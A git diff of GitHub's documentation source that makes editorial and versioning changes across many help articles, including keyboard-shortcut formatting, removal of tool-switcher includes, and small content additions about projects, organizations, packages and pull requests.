 
@@ -112,8 +110,8 @@ For a full list of supported commands, see "[{% data variables.product.prodname_
 
 When the command palette is active, you can use one of the following keyboard shortcuts to close the command palette:
 
-- Search and navigation mode: <kbd>esc</kbd> or <kbd>Ctrl</kbd><kbd>k</kbd> (Windows and Linux)  <kbd>⌘</kbd><kbd>k</kbd> (Mac)
-- Command mode: <kbd>esc</kbd> or <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>k</kbd> (Windows and Linux)  <kbd>⌘</kbd><kbd>Shift</kbd><kbd>k</kbd> (Mac)
+- Search and navigation mode: <kbd>Esc</kbd> or <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows and Linux)  <kbd>Command</kbd>+<kbd>K</kbd> (Mac)
+- Command mode: <kbd>Esc</kbd> or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows and Linux)  <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac)
 
 ## {% data variables.product.prodname_command_palette %} reference
 
@@ -128,9 +126,9 @@ These keystrokes are available when the command palette is in navigation and sea
 |<kbd>@</kbd>| Search for users, organizations, and repositories. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."|
 |<kbd>/</kbd>| Search for files within a repository scope or repositories within an organization scope. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)." |
 |<kbd>!</kbd>| Search just for projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."|
-|<kbd>Ctrl</kbd><kbd>c</kbd> or <kbd>⌘</kbd><kbd>c</kbd>| Copy the search or navigation URL for the highlighted result to the clipboard.|
+|<kbd>Ctrl</kbd>+<kbd>C</kbd> or <kbd>Command</kbd>+<kbd>C</kbd>| Copy the search or navigation URL for the highlighted result to the clipboard.|
 |<kbd>Enter</kbd>| Jump to the highlighted result or run the highlighted command.|
-|<kbd>Ctrl</kbd><kbd>Enter</kbd> or <kbd>⌘</kbd><kbd>Enter</kbd>| Open the highlighted search or navigation result in a new brower tab.|
+|<kbd>Ctrl</kbd>+<kbd>Enter</kbd> or <kbd>Command</kbd>+<kbd>Enter</kbd>| Open the highlighted search or navigation result in a new brower tab.|
 |<kbd>?</kbd>| Display help within the command palette.|
 
 ### Global commands
@@ -198,7 +196,7 @@ These commands are available only when you open the command palette from an issu
 |`Convert issue to discussion...`|Convert the current issue into a discussion. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)."
 |`Delete issue...`|Delete the current issue. For more information, see "[Deleting an issue](/issues/tracking-your-work-with-issues/deleting-an-issue)."|
 |`Edit issue body`|Open the main body of the issue ready for editing.
-|`Edit issue title`|Open the title of the issue ready for editing. 
+|`Edit issue title`|Open the title of the issue ready for editing.
 |`Lock issue`|Limit new comments to users with write access to the repository. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)."
 |`Pin`/`unpin issue`|Change whether or not the issue is shown in the pinned issues section for the repository. For more information, see "[Pinning an issue to your repository](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository)."|
 |`Subscribe`/`unscubscribe`|Opt in or out of notifications for changes to this issue. For more information, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
diff --git a/content/get-started/using-github/github-mobile.md b/content/get-started/using-github/github-mobile.md
index 76e50e0dd8..2625518bd9 100644
--- a/content/get-started/using-github/github-mobile.md
+++ b/content/get-started/using-github/github-mobile.md
@@ -34,7 +34,7 @@ To install {% data variables.product.prodname_mobile %} for Android or iOS, see
 
 ## Managing accounts
 
-You can be simultaneously signed into mobile with one user account on {% data variables.product.prodname_dotcom_the_website %} and one user account on {% data variables.product.prodname_ghe_server %}.
+You can be simultaneously signed into mobile with one user account on {% data variables.product.prodname_dotcom_the_website %} and one user account on {% data variables.product.prodname_ghe_server %}. For more information about our different products, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)."
 
 {% data reusables.mobile.push-notifications-on-ghes %}
 
@@ -50,11 +50,11 @@ During the beta for {% data variables.product.prodname_mobile %} with {% data va
 
 ### Adding, switching, or signing out of accounts
 
-You can sign into mobile with a user account on {% data variables.product.product_location %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in.
+You can sign into mobile with a user account on {% data variables.product.prodname_ghe_server %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in.
 
-After you sign into mobile with a user account on {% data variables.product.product_location %}, you can switch between the account and your account on  {% data variables.product.prodname_dotcom_the_website %}.  At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to.
+After you sign into mobile with a user account on {% data variables.product.prodname_ghe_server %}, you can switch between the account and your account on {% data variables.product.prodname_dotcom_the_website %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to.
 
-If you no longer need to access data for your user account on {% data variables.product.product_location %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**.
+If you no longer need to access data for your user account on {% data variables.product.prodname_ghe_server %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**.
 
 ## Supported languages for {% data variables.product.prodname_mobile %}
 
diff --git a/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md b/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
index 2b2ad52ec4..81f89fc1f3 100644
--- a/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
+++ b/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
@@ -47,7 +47,7 @@ type: how_to
 
 {% data reusables.cli.filter-issues-and-pull-requests-tip %}
 
-## Filtering issues and pull requests 
+## Filtering issues and pull requests
 
 Issues and pull requests come with a set of default filters you can apply to organize your listings.
 
@@ -124,8 +124,6 @@ You can use advanced filters to search for issues and pull requests that meet sp
 
 ### Searching for issues and pull requests
 
-{% include tool-switcher %}
-
 {% webui %}
 
 The issues and pull requests search bar allows you to define your own custom filters and sort by a wide variety of criteria. You can find the search bar on each repository's **Issues** and **Pull requests** tabs and on your [Issues and Pull requests dashboards](/articles/viewing-all-of-your-issues-and-pull-requests).
@@ -174,7 +172,7 @@ With issue and pull request search terms, you can:
 {% tip %}
 
 **Tip:** You can filter issues and pull requests by label using logical OR or using logical AND.
-- To filter issues using logical OR, use the comma syntax: `label:"bug","wip"`. 
+- To filter issues using logical OR, use the comma syntax: `label:"bug","wip"`.
 - To filter issues using logical AND, use separate label filters: `label:"bug" label:"wip"`.
 
 {% endtip %}
diff --git a/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md b/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
index ad7784c38b..2fe8f14655 100644
--- a/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
+++ b/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
@@ -25,8 +25,6 @@ People or teams who are mentioned in the issue will receive a notification letti
 
 ## Transferring an open issue to another repository
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md b/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
index 4b00391366..9f7bb61598 100644
--- a/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
+++ b/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
@@ -17,8 +17,6 @@ This article demonstrates how to use the GraphQL API to manage a project. For mo
 
 ## Authentication
 
-{% include tool-switcher %}
-
 {% curl %}
 
 In all of the following cURL examples, replace `TOKEN` with a token that has the `read:org` scope (for queries) or `write:org` scope (for queries and mutations). The token can be a personal access token for a user or an installation access token for a {% data variables.product.prodname_github_app %}. For more information about creating a personal access token, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." For more information about creating an installation access token for a {% data variables.product.prodname_github_app %}, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app)."
@@ -66,8 +64,6 @@ To update your project through the API, you will need to know the node ID of the
 
 You can find the node ID of an organization project if you know the organization name and project number. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `NUMBER` with the project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -92,8 +88,6 @@ gh api graphql -f query='
 
 You can also find the node ID of all projects in your organization. The following example will return the node ID and title of the first 20 projects in an organization. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -125,8 +119,6 @@ To update your project through the API, you will need to know the node ID of the
 
 You can find the node ID of a user project if you know the project number. Replace `USER` with your user name. For example, `octocat`. Replace `NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/users/octocat/projects/5` has a project number of 5.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -151,8 +143,6 @@ gh api graphql -f query='
 
 You can also find the node ID for all of your projects. The following example will return the node ID and title of your first 20 projects. Replace `USER` with your username. For example, `octocat`.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -184,8 +174,6 @@ To update the value of a field, you will need to know the node ID of the field.
 
 The following example will return the ID, name, and settings for the first 20 fields in a project. Replace `PROJECT_ID` with the node ID of your project.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -257,8 +245,6 @@ You can query the API to find information about items in your project.
 
 The following example will return the title and ID for the first 20 items in a project. For each item, it will also return the value and name for the first 8 fields in the project. If the item is an issue or pull request, it will return the login of the first 10 assignees. Replace `PROJECT_ID` with the node ID of your project.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -335,8 +321,6 @@ Use mutations to update projects. For more information, see "[About mutations]({
 
 The following example will add an issue or pull request to your project. Replace `PROJECT_ID` with the node ID of your project. Replace `CONTENT_ID` with the node ID of the issue or pull request that you want to add.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -379,8 +363,6 @@ If you try to add an item that already exists, the existing item ID is returned
 
 The following example will update the value of a date field for an item. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to update. Replace `FIELD_ID` with the ID of the field that you want to update.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -425,8 +407,6 @@ The following example will update the value of a single select field for an item
 - `FIELD_ID` -  Replace this with the ID of the single select field that you want to update.
 - `OPTION_ID` - Replace this with the ID of the desired single select option.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -465,8 +445,6 @@ The following example will update the value of an iteration field for an item.
 - `FIELD_ID` -  Replace this with the ID of the iteration field that you want to update.
 - `ITERATION_ID` - Replace this with the ID of the desired iteration. This can be either an active iteration (from the `iterations` array) or a completed iteration (from the `completed_iterations` array).
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -500,8 +478,6 @@ gh api graphql -f query='
 
 The following example will delete an item from a project. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to delete.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
diff --git a/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md b/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
index d5073f08ca..f898eb21a5 100644
--- a/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
+++ b/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
@@ -20,17 +20,21 @@ topics:
 
 {% data reusables.organizations.org-ownership-recommendation %} For more information, see "[Maintaining ownership continuity for your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)."
 
-{% ifversion fpt or ghec %}
 ## Organizations and enterprise accounts
 
-Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations.
+{% ifversion fpt %}
+Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/collaborating-with-groups-in-organizations/about-organizations).
+{% else %}
+{% ifversion ghec %}For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level.{% endif %} Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. Organization owners cannot change settings enforced for your organization at the enterprise account level. If you have questions about a policy or setting for your organization, contact the owner of your enterprise account.
 
-For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level. Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. Organization owners cannot change settings enforced for your organization at the enterprise account level. If you have questions about a policy or setting for your organization, contact the owner of your enterprise account.
-
-{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/creating-an-enterprise-account){% ifversion ghec %}."{% else %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}
+{% ifversion ghec %}
+{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)."
 
 {% data reusables.enterprise-accounts.invite-organization %}
+{% endif %}
+{% endif %}
 
+{% ifversion fpt or ghec %}
 ## Terms of service and data protection for organizations
 
 An entity, such as a company, non-profit, or group, can agree to the Standard Terms of Service or the Corporate Terms of Service for their organization. For more information, see "[Upgrading to the Corporate Terms of Service](/articles/upgrading-to-the-corporate-terms-of-service)."
diff --git a/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
index 621972fd3c..034abf484e 100644
--- a/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
+++ b/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
@@ -515,7 +515,6 @@ For more information, see "[Managing the publication of {% data variables.produc
 
 | Action | Description
 |------------------|-------------------
-| `clear` | Triggered when a payment method on file is [removed](/articles/removing-a-payment-method).
 | `create` |  Triggered when a new payment method is added, such as a new credit card or PayPal account.
 | `update` | Triggered when an existing payment method is updated.
 
diff --git a/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md b/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
index 6df920f16c..b364a65fcc 100644
--- a/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
+++ b/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
@@ -13,7 +13,14 @@ topics:
 shortTitle: Export member information
 ---
 
-You can export information about members in your organization. This is useful if you want to perform an audit of users within the organization. The exported information includes username and display name details, and whether the membership is public or private.
+You can export information about members in your organization. This is useful if you want to perform an audit of users within the organization.
+
+The exported information includes:
+- Username and display name details
+- Whether the user has two-factor authentication enabled
+- Whether the membership is public or private
+- Whether the user is an organization owner or member
+- Datetime of the user's last activity (for a full list of relevant activity, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)")
 
 You can get member information directly from the {% data variables.product.product_name %} user interface, or using APIs. This article explains how to obtain member information from within {% data variables.product.product_name %}.
 
diff --git a/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md b/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
index 2465aeb1de..0374fccbee 100644
--- a/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
+++ b/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
@@ -16,7 +16,9 @@ shortTitle: Change insight visibility
 
 Organization owners can set limitations for viewing organization dependency insights. All members of an organization can view organization dependency insights by default.
 
-Enterprise owners can set limitations for viewing organization dependency insights on all organizations in your enterprise account. For more information, see "[Enforcing policies for dependency insights in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."
+{% ifversion ghec %}
+Enterprise owners can set limitations for viewing organization dependency insights on all organizations in your enterprise account. For more information, see "[Enforcing policies for dependency insights in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."
+{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
diff --git a/content/organizations/managing-organization-settings/transferring-organization-ownership.md b/content/organizations/managing-organization-settings/transferring-organization-ownership.md
index da79cb679b..1f633c3f47 100644
--- a/content/organizations/managing-organization-settings/transferring-organization-ownership.md
+++ b/content/organizations/managing-organization-settings/transferring-organization-ownership.md
@@ -15,7 +15,7 @@ topics:
   - Teams
 shortTitle: Transfer ownership
 ---
-{% ifversion fpt or ghec %}
+{% ifversion ghec %}
 {% note %}
 
 **Note:** {% data reusables.enterprise-accounts.invite-organization %}
diff --git a/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md b/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
index 0c6f49db2d..07439a142e 100644
--- a/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
+++ b/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
@@ -53,7 +53,7 @@ Billing managers **are not** able to:
 {% ifversion ghec %}
 {% note %}
 
-**Note:** If your organization is managed using [Enterprise Accounts](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/about-enterprise-accounts) you will not be able to invite Billing Managers at the organization level. 
+**Note:** If your organization is owned by an enterprise account, you cannot invite billing managers at the organization level. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
 
 {% endnote %}
 {% endif %}
diff --git a/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
index 24357fc223..ac87e01173 100644
--- a/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
+++ b/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
@@ -231,6 +231,8 @@ Using packages from {% data variables.product.prodname_dotcom %} in your project
 
 Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository .
 
+If you're using a nuspec file, ensure that it has a `repository` element with the required `type` and `url` attributes.
+
 ## Further reading
 
 - "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md b/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
index 8df4d200f5..9491879d40 100644
--- a/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
+++ b/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
@@ -112,7 +112,7 @@ For a list of supported plugins, see "[Dependency versions](https://pages.github
 
 To make your site easier to read, code snippets are highlighted on {% data variables.product.prodname_pages %} sites the same way they're highlighted on {% data variables.product.product_name %}. For more information about syntax highlighting on {% data variables.product.product_name %}, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)."
 
-By default, code blocks on your site will be highlighted by Jekyll. Jekyll uses the [Rouge](https://github.com/jneen/rouge) highlighter, which is compatible with [Pygments](http://pygments.org/). If you specify Pygments in your *_config.yml* file, Rouge will be used instead. Jekyll cannot use any other syntax highlighter, and you'll get a page build warning if you specify another syntax highlighter in your *_config.yml* file. For more information, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)."
+By default, code blocks on your site will be highlighted by Jekyll. Jekyll uses the [Rouge](https://github.com/jneen/rouge) highlighter, which is compatible with [Pygments](http://pygments.org/). Pygments has been deprecated and not supported in Jekyll 4. If you specify Pygments in your *_config.yml* file, Rouge will be used as the fallback instead. Jekyll cannot use any other syntax highlighter, and you'll get a page build warning if you specify another syntax highlighter in your *_config.yml* file. For more information, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)."
 
 If you want to use another highlighter, such as `highlight.js`, you must disable Jekyll's syntax highlighting by updating your project's *_config.yml* file.
 
diff --git a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
index 3dd13c576c..881c4b1c19 100644
--- a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
+++ b/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
@@ -41,8 +41,6 @@ If you decide you don't want the changes in a topic branch to be merged to the u
 
 ## Merging a pull request
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
index a488f3afd5..1408b3e897 100644
--- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
+++ b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
@@ -46,7 +46,7 @@ After you're happy with the proposed changes, you can merge the pull request. If
 {% tip %}
 
 **Tips:**
-- To toggle between collapsing and expanding all outdated review comments in a pull request, hold down <span class="platform-mac"><kbd>option</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> and click **Show outdated** or **Hide outdated**. For more shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts)."
+- To toggle between collapsing and expanding all outdated review comments in a pull request, hold down <span class="platform-mac"><kbd>Option</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> and click **Show outdated** or **Hide outdated**. For more shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts)."
 - You can squash commits when merging a pull request to gain a more streamlined view of changes. For more information, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)."
 
 {% endtip %}
diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
index fbe2575be6..225c6dbf6e 100644
--- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
+++ b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
@@ -47,8 +47,6 @@ When you change any of the information in the branch range, the Commit and Files
 
 ## Creating the pull request
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -159,7 +157,7 @@ gh pr create --web
 {% codespaces %}
 
 1. Once you've committed changes to your local copy of the repository, click the **Create Pull Request** icon.
-![Source control side bar with staging button highlighted](/assets/images/help/codespaces/codespaces-commit-pr-button.png)  
+![Source control side bar with staging button highlighted](/assets/images/help/codespaces/codespaces-commit-pr-button.png)
 1. Check that the local branch and repository you're merging from, and the remote branch and repository you're merging into, are correct. Then give the pull request a title and a description.
 ![GitHub pull request side bar](/assets/images/help/codespaces/codespaces-commit-pr.png)
 1. Click **Create**.
diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
index 69a679eec4..cbfc7e4cab 100644
--- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
+++ b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
@@ -24,8 +24,6 @@ shortTitle: Check out a PR locally
 
 ## Modifying an active pull request locally
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
index 35a425283f..3635048c07 100644
--- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
+++ b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
@@ -23,8 +23,6 @@ You can review changes in a pull request one file at a time. While reviewing the
 
 ## Starting a review
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
index 7fd44389ce..8d5bdeab8d 100644
--- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
+++ b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
@@ -1,7 +1,7 @@
 ---
 title: Renaming a branch
 intro: You can change the name of a branch in a repository.
-permissions: 'People with write permissions to a repository can rename a branch in the repository unless it is the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch){% ifversion fpt or ghec %} or a [protected branch](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% endif %}. People with admin permissions can rename the default branch{% ifversion fpt or ghec %} and protected branches{% endif %}.'
+permissions: 'People with write permissions to a repository can rename a branch in the repository unless it is the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch){% ifversion fpt or ghec or ghes > 3.3 %} or a [protected branch](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% endif %}. People with admin permissions can rename the default branch{% ifversion fpt or ghec or ghes > 3.3 %} and protected branches{% endif %}.'
 versions:
   fpt: '*'
   ghes: '>=3.1'
diff --git a/content/repositories/creating-and-managing-repositories/cloning-a-repository.md b/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
index 6aac36b72c..498d775b2d 100644
--- a/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
+++ b/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
@@ -24,8 +24,6 @@ You can clone your existing repository or clone another person's existing reposi
 
 ## Cloning a repository
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md b/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
index eff47a5b08..4209b8a5f4 100644
--- a/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
+++ b/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
@@ -35,8 +35,6 @@ You can choose whether {% data variables.large_files.product_name_long %} ({% da
 
 ## Creating a release
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -80,7 +78,7 @@ You can choose whether {% data variables.large_files.product_name_long %} ({% da
 
    {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
    ![Published release with @mentioned contributors](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
-   {% else %} 
+   {% else %}
    ![Published release with @mentioned contributors](/assets/images/help/releases/releases-overview-with-contributors.png)
    {% endif %}
    {%- endif %}
@@ -110,8 +108,6 @@ If you @mention any {% data variables.product.product_name %} users in the notes
 
 ## Editing a release
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -136,8 +132,6 @@ Releases cannot currently be edited with {% data variables.product.prodname_cli
 
 ## Deleting a release
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md b/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
